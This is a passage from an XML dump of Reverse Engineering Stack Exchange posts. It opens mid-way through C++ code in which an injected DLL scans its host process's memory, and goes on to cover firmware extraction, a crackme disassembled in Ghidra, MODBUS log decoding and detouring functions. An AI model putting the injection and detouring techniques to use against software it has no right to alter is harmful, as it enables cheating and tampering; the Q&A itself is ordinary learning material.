(enable read and write)&#xA;            DWORD oldProtect;&#xA;            if(VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &amp;amp;oldProtect) == 0) {&#xA;                std::cout &amp;lt;&amp;lt; &quot;Error: VirtualProtect(1) failed with error &quot; &amp;lt;&amp;lt; GetLastError() &amp;lt;&amp;lt; &quot; at &quot; &amp;lt;&amp;lt; std::hex &amp;lt;&amp;lt; addr &amp;lt;&amp;lt; std::endl;&#xA;                break;&#xA;            }&#xA;&#xA;            // read page memory&#xA;            Uint start = addr;&#xA;            Uint end = start + mbi.RegionSize;&#xA;            while (start &amp;lt; end) {&#xA;                int value = *((int*)start);&#xA;                if(value == valueToScan)&#xA;                    hits.push_back(start);&#xA;                scans++;&#xA;                start += 4;&#xA;            }&#xA;&#xA;            // restore old page protection&#xA;            if (VirtualProtect(mbi.BaseAddress, mbi.RegionSize, oldProtect, &amp;amp;oldProtect) == 0) {&#xA;                std::cout &amp;lt;&amp;lt; &quot;Error: VirtualProtect(2) failed with error &quot; &amp;lt;&amp;lt; &quot; with code &quot; &amp;lt;&amp;lt; GetLastError() &amp;lt;&amp;lt; &quot; at &quot; &amp;lt;&amp;lt; std::hex &amp;lt;&amp;lt; addr &amp;lt;&amp;lt; std::endl;&#xA;                break;&#xA;            }&#xA;&#xA;            // set values for next page&#xA;            pages++;&#xA;            addr += mbi.RegionSize;&#xA;            mbi = {};&#xA;        }&#xA;&#xA;        std::cout &amp;lt;&amp;lt; &quot;Scanned &quot; &amp;lt;&amp;lt; std::dec &amp;lt;&amp;lt; scans &amp;lt;&amp;lt; std::endl;&#xA;        std::cout &amp;lt;&amp;lt; &quot;Pages   &quot; &amp;lt;&amp;lt; std::dec &amp;lt;&amp;lt; pages &amp;lt;&amp;lt; std::endl;&#xA;        std::cout &amp;lt;&amp;lt; &quot;Found   &quot; &amp;lt;&amp;lt; std::dec &amp;lt;&amp;lt; hits.size() &amp;lt;&amp;lt; std::endl;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31499" LastEditorUserId="31499" LastEditDate="2020-03-30T12:48:28.250" LastActivityDate="2023-12-23T03:08:40.947" Title="c++ reading process memory with injected DLL" Tags="|c++|memory|dll|process|windows-10|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24569" PostTypeId="2" ParentId="24568" CreationDate="2020-03-30T14:09:54.937" Score="0" Body="&lt;p&gt;MEMORY_BASIC_INFORMATION struct holds a &quot;State&quot; property that is one of the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MEM_RESERVE, MEM_COMMIT, MEM_FREE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can only use VirtualProtect on pages that are actually allocated for use, i.e. the MEM_COMMIT type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reserved and free memory pages cannot be read or written to and so you cannot change their protection flags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A process may take memory of size x, split over many pages that are not continguous.&lt;/p&gt;&#xA;" OwnerUserId="30213" LastActivityDate="2020-03-30T14:09:54.937" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24570" PostTypeId="1" CreationDate="2020-03-30T16:24:21.137" Score="1" ViewCount="65" Body="&lt;pre&gt;&lt;code&gt;main:&#xA;    call foo&#xA;    call bar&#xA;    ret&#xA;&#xA;foo:&#xA;    // code&#xA;&#xA;    cmp $number, 0&#xA;    je ret&#xA;&#xA;    // code&#xA;    ret&#xA;&#xA;bar:&#xA;    // code&#xA;&#xA;    cmp $number, 0&#xA;    je ret&#xA;&#xA;    // code&#xA;    ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to write a script like above. I looked it up, but I don't think there's a proper way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have to jump between labels instead of calling.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;main:&#xA;    jmp foo&#xA;&#xA;foo:&#xA;    // code&#xA;&#xA;    cmp $number, 0&#xA;    je bar&#xA;&#xA;    // code&#xA;&#xA;    jmp bar&#xA;&#xA;bar:&#xA;    // code&#xA;&#xA;    cmp $number, 0&#xA;    je ret&#xA;&#xA;    // code&#xA;    ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there good way to return when some flag is triggered?&lt;/p&gt;&#xA;" OwnerUserId="31467" LastActivityDate="2020-03-31T12:24:53.130" Title="How to ret with jxx in x64dbg's sciprt" Tags="|x64dbg|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24571" PostTypeId="2" ParentId="24565" CreationDate="2020-03-30T16:54:27.687" Score="0" Body="&lt;p&gt;As suggested in one of the answers, it's because of the base address, I used &lt;a href=&quot;https://github.com/sgayou/rbasefind&quot; rel=&quot;nofollow noreferrer&quot;&gt;rbasefind&lt;/a&gt; to find the base_address of the firmware, and edited it to find the address of the bootloader as there was only two strings plus 11 false string positives.&lt;/p&gt;&#xA;" OwnerUserId="31389" LastActivityDate="2020-03-30T16:54:27.687" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24572" PostTypeId="1" CreationDate="2020-03-30T17:25:07.457" Score="1" ViewCount="145" Body="&lt;p&gt;I have a bunch of SWF files that represent UI in the game. Most of them contain DoABC tag, however the tag type is &lt;code&gt;300&lt;/code&gt; instead of &lt;code&gt;82&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Putting this trouble aside, I started parsing the tag according to &lt;a href=&quot;https://www.adobe.com/content/dam/acom/en/devnet/pdf/avm2overview.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;the official AVM2 overview&lt;/a&gt;, and found multiple other issues with the structure:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;For most of the methods &lt;code&gt;flag&lt;/code&gt; value contains flags &lt;code&gt;0x01&lt;/code&gt; and &lt;code&gt;0x04&lt;/code&gt; (&lt;code&gt;NEED_ARGUMENTS&lt;/code&gt; and &lt;code&gt;NEED_REST&lt;/code&gt;) which according to the doc must not be used together.&lt;/li&gt;&#xA;&lt;li&gt;For some reason the &lt;code&gt;option_info.option_count&lt;/code&gt; is always greater than &lt;code&gt;param_count&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;If I was to ignore point 2 and parse params anyway - param type in most cases is incorrect (page 26)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here is the sample byte-code. &lt;code&gt;0x2F&lt;/code&gt; means method count. While parsed according to the doc, at 0x12 you can see that there are 5 params, and 0x1b tells us that 7 of them are optional, which is totally nonsense because&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[...] The number of optional parameters is given by option_count, which must not be zero nor greater than the parameter_count [...]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GndPi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GndPi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guesses are that the &lt;code&gt;300&lt;/code&gt; tag indicates custom tag so custom parsing rules could apply and for other points I would say that the order of fields changed and the flag, as well as param count and optionals info, is at different offset. But how can I be sure that the certain way of parsing is the correct one? I am unfamiliar with ActionScript and have no idea if method name, param name or param type make any sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we take the example above, parsing it according to the doc would result in the first method (address &lt;code&gt;0x01&lt;/code&gt;) named &lt;code&gt;flash.events&lt;/code&gt; (&lt;code&gt;0x03&lt;/code&gt;) has 0 params (&lt;code&gt;0x01&lt;/code&gt;) with the return type &lt;code&gt;fl.transitions.easing.Back&lt;/code&gt; (&lt;code&gt;0x02&lt;/code&gt;) and flag &lt;code&gt;0x05&lt;/code&gt; (&lt;code&gt;0x04&lt;/code&gt;)&lt;/p&gt;&#xA;" OwnerUserId="12773" LastActivityDate="2020-03-30T17:25:07.457" Title="SWF ActionScript byte-code method info does not match AVM2 specification" Tags="|byte-code|actionscript|swf|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="24575" PostTypeId="1" CreationDate="2020-03-31T00:21:19.430" Score="1" ViewCount="2553" Body="&lt;p&gt;I'm trying to reverse engineer the firmware for an AutoDrive AD-520 dashcam. The firmware is available for download &lt;a href=&quot;http://giinii.com/GiiNii/AD520_software_upgrade.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. I've installed binwalk on windows, I can get it to read the file just fine, here's a screenie of a regular &lt;code&gt;binwalk SD_CarDV.bin&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ecCiB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ecCiB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I try pretty much anything else it doesn't work. I can't do -E, it just sits there for a minute then reads out the file contents like --signature, but doesn't do anything else, and trying to save the -E to a png I get an error saying &quot;failed to import matplotlib module&quot;. When I try -e, I get a readout just like with --signature, but no actual files are created in the working directory. If I use &lt;code&gt;-e -C=./tmp&lt;/code&gt; I get the normal readout, a tmp folder is created, but no files. I've tried &lt;code&gt;--dd=&quot;.*&quot;&lt;/code&gt;, as well as &lt;code&gt;--log=binwalk.log&lt;/code&gt;, literally copied from the github manual, and I get this error (same error with -dd and --log)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CtKZ2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CtKZ2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to get this thing to work. I'm wondering if it's me, windows, the firmware file itself...I can't figure it out. Can anyone help me?&lt;/p&gt;&#xA;" OwnerUserId="32588" LastActivityDate="2020-03-31T00:21:19.430" Title="Windows binwalk refuses to extract files" Tags="|firmware-analysis|binwalk|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24577" PostTypeId="1" AcceptedAnswerId="24578" CreationDate="2020-03-31T06:47:10.617" Score="0" ViewCount="218" Body="&lt;p&gt;I have disassembled the crackme0x06 challenge (&lt;a href=&quot;http://security.cs.rpi.edu/courses/binexp-spring2015&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://security.cs.rpi.edu/courses/binexp-spring2015&lt;/a&gt; inside challenges.zip). It's an ELF 32bit unstripped binary. The decompiled C code using Ghidra looks like :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;undefined4 main(undefined4 param_1,undefined4 param_2,undefined4 param_3)&#xA;{&#xA;  undefined local_7c [120];&#xA;&#xA;  printf(&quot;IOLI Crackme Level 0x06\n&quot;);&#xA;  printf(&quot;Password: &quot;);&#xA;  scanf(&quot;%s&quot;,local_7c);&#xA;  check(local_7c,param_3);&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Intel x86 looks like : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                             **************************************************************&#xA;                             *                          FUNCTION                          *&#xA;                             **************************************************************&#xA;                             undefined main(undefined param_1, undefined param_2, und&#xA;             undefined         AL:1           &amp;lt;RETURN&amp;gt;&#xA;             undefined         Stack[0x4]:1   param_1&#xA;             undefined         Stack[0x8]:1   param_2&#xA;             undefined4        Stack[0xc]:4   param_3                                 XREF[1]:     08048651(R)  &#xA;             undefined[120]    Stack[-0x7c]   local_7c                                XREF[2]:     0804863e(*), &#xA;                                                                                                   08048658(*)  &#xA;             undefined4        Stack[-0x9c]:4 local_9c                                XREF[2]:     08048641(W), &#xA;                                                                                                   08048654(W)  &#xA;             undefined4        Stack[-0xa0]:4 local_a0                                XREF[4]:     08048626(*), &#xA;                                                                                                   08048632(*), &#xA;                                                                                                   08048645(*), &#xA;                                                                                                   0804865b(*)  &#xA;                             main                                            XREF[2]:     Entry Point(*), &#xA;                                                                                          _start:08048417(*)  &#xA;        08048607 55              PUSH       EBP&#xA;        08048608 89 e5           MOV        EBP,ESP&#xA;        0804860a 81 ec 88        SUB        ESP,0x88&#xA;                 00 00 00&#xA;        08048610 83 e4 f0        AND        ESP,0xfffffff0&#xA;        08048613 b8 00 00        MOV        EAX,0x0&#xA;                 00 00&#xA;        08048618 83 c0 0f        ADD        EAX,0xf&#xA;        0804861b 83 c0 0f        ADD        EAX,0xf&#xA;        0804861e c1 e8 04        SHR        EAX,0x4&#xA;        08048621 c1 e0 04        SHL        EAX,0x4&#xA;        08048624 29 c4           SUB        ESP,EAX&#xA;        08048626 c7 04 24        MOV        dword ptr [ESP]=&amp;gt;local_a0,s_IOLI_Crackme_Level   = &quot;IOLI Crackme Level 0x06\n&quot;&#xA;                 63 87 04 08&#xA;        0804862d e8 86 fd        CALL       printf                                           int printf(char * __format, ...)&#xA;                 ff ff&#xA;        08048632 c7 04 24        MOV        dword ptr [ESP]=&amp;gt;local_a0,s_Password:_0804877c   = &quot;Password: &quot;&#xA;                 7c 87 04 08&#xA;        08048639 e8 7a fd        CALL       printf                                           int printf(char * __format, ...)&#xA;                 ff ff&#xA;        0804863e 8d 45 88        LEA        EAX=&amp;gt;local_7c,[EBP + -0x78]&#xA;        08048641 89 44 24 04     MOV        dword ptr [ESP + local_9c],EAX&#xA;        08048645 c7 04 24        MOV        dword ptr [ESP]=&amp;gt;local_a0,DAT_08048787           = 25h    %&#xA;                 87 87 04 08&#xA;        0804864c e8 47 fd        CALL       scanf                                            int scanf(char * __format, ...)&#xA;                 ff ff&#xA;        08048651 8b 45 10        MOV        EAX,dword ptr [EBP + param_3]&#xA;        08048654 89 44 24 04     MOV        dword ptr [ESP + local_9c],EAX&#xA;        08048658 8d 45 88        LEA        EAX=&amp;gt;local_7c,[EBP + -0x78]&#xA;        0804865b 89 04 24        MOV        dword ptr [ESP]=&amp;gt;local_a0,EAX&#xA;        0804865e e8 25 ff        CALL       check                                            undefined check(undefined4 param&#xA;                 ff ff&#xA;        08048663 b8 00 00        MOV        EAX,0x0&#xA;                 00 00&#xA;        08048668 c9              LEAVE&#xA;        08048669 c3              RET&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My Question is what is &quot;check&quot; keyword? I have run ltrace and strace on the binary, so I know its neither some library function nor system-call. What is it then?&lt;/p&gt;&#xA;" OwnerUserId="32594" LastActivityDate="2020-03-31T07:06:31.637" Title="&quot;check:&quot; keyword in Ghidra" Tags="|assembly|decompilation|elf|ghidra|decompile|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24578" PostTypeId="2" ParentId="24577" CreationDate="2020-03-31T07:06:31.637" Score="1" Body="&lt;p&gt;&lt;code&gt;check&lt;/code&gt; is a symbol name inside your binary - meaning it's just a name of the function the Ghidra can recognize. &lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-03-31T07:06:31.637" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24579" PostTypeId="1" AcceptedAnswerId="24582" CreationDate="2020-03-31T09:49:52.153" Score="0" ViewCount="113" Body="&lt;p&gt;I have logfiles in the following format without any documentation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;to 12.03.2020 08:04:15 &amp;lt; '7&quot;\05\04\02\16\F6\C6\D6&quot;'#0D&#xA;to 12.03.2020 08:04:15 &amp;gt; '7S&quot;\05\04\00\02\00\01\91\8E&quot;'#0D&#xA;to 12.03.2020 08:04:15 &amp;lt; '7&quot;\05\04\02 \22\D1)&quot;'#0D&#xA;to 12.03.2020 08:04:15 &amp;gt; '7S&quot;\05\04\00\05\00\01\20\4F&quot;'#0D&#xA;to 12.03.2020 08:04:16 &amp;lt; '7&quot;\05\04\02\19e\83K&quot;'#0D&#xA;to 12.03.2020 08:04:16 &amp;gt; '7S&quot;\05\04\00\07\00\01\81\8F&quot;'#0D&#xA;to 12.03.2020 08:04:16 &amp;lt; '7&quot;\05\04\02\00z\C9\13&quot;'#0D&#xA;to 12.03.2020 08:04:16 &amp;gt; '7S&quot;\01\03\00\00\00\05\85\C9&quot;'#0D&#xA;to 12.03.2020 08:04:16 &amp;lt; '7&quot;\01\03\0A\00\00\05\DC\00&quot;'#0D&#xA;to 12.03.2020 08:04:16 &amp;lt; '7&quot;\02\00\00\00\01AD&quot;'#0D&#xA;to 12.03.2020 08:04:16 &amp;gt; '7S&quot;\01\01\00\00\00\10\3D\C6&quot;'#0D&#xA;to 12.03.2020 08:04:16 &amp;lt; '7&quot;\01\01\02\00\03\F9\FD&quot;'#0D&#xA;to 12.03.2020 08:04:16 &amp;gt; '7S&quot;\05\04\00\00\00\01\30\4E&quot;'#0D&#xA;to 12.03.2020 08:04:16 &amp;lt; '7&quot;\05\04\02\17\03\07\01&quot;'#0D&#xA;to 12.03.2020 08:04:16 &amp;gt; '7S&quot;\05\04\00\01\00\01\61\8E&quot;'#0D&#xA;to 12.03.2020 08:04:16 &amp;lt; '7&quot;\05\04\02\16\F6\C6\D6&quot;'#0D&#xA;to 12.03.2020 08:04:16 &amp;gt; '7S&quot;\05\04\00\02\00\01\91\8E&quot;'#0D&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This snippet from a log file probably represents the current state and operations of our manufacturing machine. Is there something meaningful in the codes to the right of the time stamp?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some observations:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;to&quot; corresponds to &quot;thu&quot; (for Thursday) in our language.&lt;/li&gt;&#xA;&lt;li&gt;It is not hexidecimal since it occasionally contains &quot;83K&quot;, Gs, etc. And &quot;\00&quot; corresponds to &quot;null&quot; in ascii.&lt;/li&gt;&#xA;&lt;li&gt;The log code starts with &lt;code&gt;&amp;lt; '7&quot;&lt;/code&gt; or &lt;code&gt;&amp;gt; '7S&quot;&lt;/code&gt; and ends with &lt;code&gt;&quot;'#0D&lt;/code&gt; on all lines. Except occasionally saying something like &lt;code&gt;&amp;gt; '3V1018'#0D&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;The space in the third line above is an unknown character, displaying as a rectangle in Notepad++.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="32596" LastEditorUserId="32596" LastEditDate="2020-03-31T10:22:49.910" LastActivityDate="2020-03-31T20:50:08.087" Title="Decoding unknown logfile format" Tags="|file-format|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24581" PostTypeId="1" CreationDate="2020-03-31T16:02:10.403" Score="0" ViewCount="79" Body="&lt;p&gt;I wanted to write a simple Ollydbg plugin that shows me, for example, a simple message like hello world. in further, I wanted to learn how can I write a complex plugin to hook a function and to modify its parameters and so on. Is there any manual for that job?&lt;/p&gt;&#xA;" OwnerUserId="32599" LastActivityDate="2020-03-31T16:02:10.403" Title="Ollydbg Plugin Development" Tags="|ollydbg|plugin|ollyscript|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24582" PostTypeId="2" ParentId="24579" CreationDate="2020-03-31T18:48:44.683" Score="2" Body="&lt;p&gt;It looks to be MODBUS messages. The bytes at the end are a CRC in exactly the format MODBUS uses. See &lt;a href=&quot;http://modbus.org/docs/PI_MBUS_300.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Modicon Modbus Protocol Reference Guide&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The backslash sequences like &quot;\F6&quot; are hexadecimal escapes. Other characters are literal ASCII.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a Python script that decodes the data and calculates the CRC (which you will see matches):&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import re&#xA;import crcmod.predefined&#xA;&#xA;stuff = r'''&#xA;to 12.03.2020 08:04:15 &amp;lt; '7&quot;\05\04\02\16\F6\C6\D6&quot;'#0D&#xA;to 12.03.2020 08:04:15 &amp;gt; '7S&quot;\05\04\00\02\00\01\91\8E&quot;'#0D&#xA;to 12.03.2020 08:04:15 &amp;lt; '7&quot;\05\04\02 \22\D1)&quot;'#0D&#xA;to 12.03.2020 08:04:15 &amp;gt; '7S&quot;\05\04\00\05\00\01\20\4F&quot;'#0D&#xA;to 12.03.2020 08:04:16 &amp;lt; '7&quot;\05\04\02\19e\83K&quot;'#0D&#xA;to 12.03.2020 08:04:16 &amp;gt; '7S&quot;\05\04\00\07\00\01\81\8F&quot;'#0D&#xA;to 12.03.2020 08:04:16 &amp;lt; '7&quot;\05\04\02\00z\C9\13&quot;'#0D&#xA;to 12.03.2020 08:04:16 &amp;gt; '7S&quot;\01\03\00\00\00\05\85\C9&quot;'#0D&#xA;to 12.03.2020 08:04:16 &amp;lt; '7&quot;\01\03\0A\00\00\05\DC\00&quot;'#0D&#xA;to 12.03.2020 08:04:16 &amp;lt; '7&quot;\02\00\00\00\01AD&quot;'#0D&#xA;to 12.03.2020 08:04:16 &amp;gt; '7S&quot;\01\01\00\00\00\10\3D\C6&quot;'#0D&#xA;to 12.03.2020 08:04:16 &amp;lt; '7&quot;\01\01\02\00\03\F9\FD&quot;'#0D&#xA;to 12.03.2020 08:04:16 &amp;gt; '7S&quot;\05\04\00\00\00\01\30\4E&quot;'#0D&#xA;to 12.03.2020 08:04:16 &amp;lt; '7&quot;\05\04\02\17\03\07\01&quot;'#0D&#xA;to 12.03.2020 08:04:16 &amp;gt; '7S&quot;\05\04\00\01\00\01\61\8E&quot;'#0D&#xA;to 12.03.2020 08:04:16 &amp;lt; '7&quot;\05\04\02\16\F6\C6\D6&quot;'#0D&#xA;to 12.03.2020 08:04:16 &amp;gt; '7S&quot;\05\04\00\02\00\01\91\8E&quot;'#0D&#xA;'''&#xA;&#xA;modbus_crc = crcmod.predefined.mkCrcFun('modbus')&#xA;&#xA;for line in stuff.splitlines(keepends=False):&#xA;    if not line:&#xA;        continue&#xA;    data = line.split('&quot;', 1)[1][:-5].encode('ASCII')&#xA;    data = re.sub(br'\\(..)', lambda m: bytes([int(m.group(1), 16)]), data)&#xA;    print(format(modbus_crc(data[:-2]), '04x'), data.hex())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;d6c6 05040216f6c6d6&#xA;8e91 050400020001918e&#xA;29d1 0504022022d129&#xA;4f20 050400050001204f&#xA;4b83 0504021965834b&#xA;8f81 050400070001818f&#xA;13c9 050402007ac913&#xA;c985 01030000000585c9&#xA;1186 01030a000005dc00&#xA;009c 02000000014144&#xA;c63d 0101000000103dc6&#xA;fdf9 0101020003f9fd&#xA;4e30 050400000001304e&#xA;0107 05040217030701&#xA;8e61 050400010001618e&#xA;d6c6 05040216f6c6d6&#xA;8e91 050400020001918e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure about the other content.&lt;/p&gt;&#xA;" OwnerUserId="32598" LastEditorUserId="32598" LastEditDate="2020-03-31T20:50:08.087" LastActivityDate="2020-03-31T20:50:08.087" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24586" PostTypeId="1" CreationDate="2020-03-31T20:41:30.483" Score="0" ViewCount="316" Body="&lt;p&gt;I'm new to reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only want to add an app to my sat receiver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start I tried to extract my firmware with &lt;code&gt;./extract-firmware&lt;/code&gt;, it's ok, and I have 1 ecos RTOS, and two cramfs in fmk/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT when I rebuild without any change, I have a message&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Building new cramfs file system... (this may take several minutes!)&#xA;Directory data: 464 bytes&#xA;Everything: 1392 kilobytes&#xA;Super block: 76 bytes&#xA;CRC: b79c2a52&#xA;Remaining free bytes in firmware image: 856064&#xA;Processing 0 header(s) from /home/thehou/firmware-mod-kit/fmk/new-firmware.bin...&#xA;CRC update failed.&#xA;&#xA;Firmware header not supported; firmware checksums may be incorrect.&#xA;New firmware image has been saved to: /home/thehou/firmware-mod-kit/fmk/new-firmware.bin`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So before I continue to add an app into my sat receiver, I want to know how can I rebuild my extracted firmware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps must I extract with binwalk, but I don't know how to rebuild!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference : this is the receiver &lt;a href=&quot;https://www.mediafire.com/file/sr9xcg99i8vhps2/ZINET-SATGN-CX300_Mini_Hybrid_Plus_V119_20032020.tar.gz/file&quot; rel=&quot;nofollow noreferrer&quot;&gt;firmware&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32603" LastEditorUserId="18317" LastEditDate="2020-04-01T01:21:13.827" LastActivityDate="2020-04-01T01:21:13.827" Title="Problem rebuilding firmware" Tags="|firmware|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24587" PostTypeId="1" CreationDate="2020-04-01T06:19:44.107" Score="1" ViewCount="182" Body="&lt;p&gt;I want to debug &amp;amp; reverse engineer open source code such as &lt;a href=&quot;https://github.com/liblouis/liblouis&quot; rel=&quot;nofollow noreferrer&quot;&gt;this project&lt;/a&gt;. I usually use CLion to write and debug C code on Linux. I've also used GDB. What steps do I need to take to download a library like this example, and be able to get source-code-level debugging working? I've tried for example cloning that repo and opening it in CLion, but it seems that the build system that is used is not fully understood by CLion. If I do a &lt;code&gt;make &amp;amp;&amp;amp; make install&lt;/code&gt;, the project gets built and I have the binaries, but then I cannot get source-level debugging if I say, open the binary with gdb. Are there any techniques to get into an open source repo and get the code building in an IDE or debugging system?&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2020-04-02T11:00:17.297" Title="How can I debug open source C code for Linux?" Tags="|debugging|linux|c|gdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24588" PostTypeId="2" ParentId="24587" CreationDate="2020-04-01T10:00:35.263" Score="2" Body="&lt;p&gt;You don't need to &lt;code&gt;make install&lt;/code&gt; the binary, this often strips the binary removing all the debug information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;a href=&quot;https://github.com/liblouis/liblouis/blob/master/HACKING#how-to-debug&quot; rel=&quot;nofollow noreferrer&quot;&gt;HACKING&lt;/a&gt; file these is a section on how to debug this tool, they advise the following settings, personally I would add &lt;code&gt;-ggdb&lt;/code&gt; to enable &lt;code&gt;gdb&lt;/code&gt; specific bindings. &lt;em&gt;(This advice also applies to other projects, although this project has explicitly added it to help new developers to the project.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  $ ./configure CFLAGS='-g -O0 -Wall -Wextra'&#xA;  $ make&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It also explains how to use &lt;code&gt;libtool&lt;/code&gt; to run the binaries.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  $ libtool --mode=execute gdb ./tools/lou_checktable&#xA;  (gdb) run tables/wiskunde.ctb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2448" LastEditorUserId="2448" LastEditDate="2020-04-02T11:00:17.297" LastActivityDate="2020-04-02T11:00:17.297" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24590" PostTypeId="1" CreationDate="2020-04-02T01:28:49.363" Score="1" ViewCount="142" Body="&lt;p&gt;Well, I have the old version of an assembly with a mapped address to a function I need to detour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The developer has stopped the reverse engineering to that assembly, so now, I want to do his job. But Idk where to start. I'm very newbie on this bussiness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have downloaded IDA, and I have subroutine calls on the assembly language. but I don't know how to continue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already have checked for the hexadecimal but this trick didn't worked on the new version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what tricks do you suggest?&lt;/p&gt;&#xA;" OwnerUserId="32617" LastActivityDate="2021-07-18T11:30:04.293" Title="How to find the new address of a function on a new version of the same assembly with IDA?" Tags="|ida|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
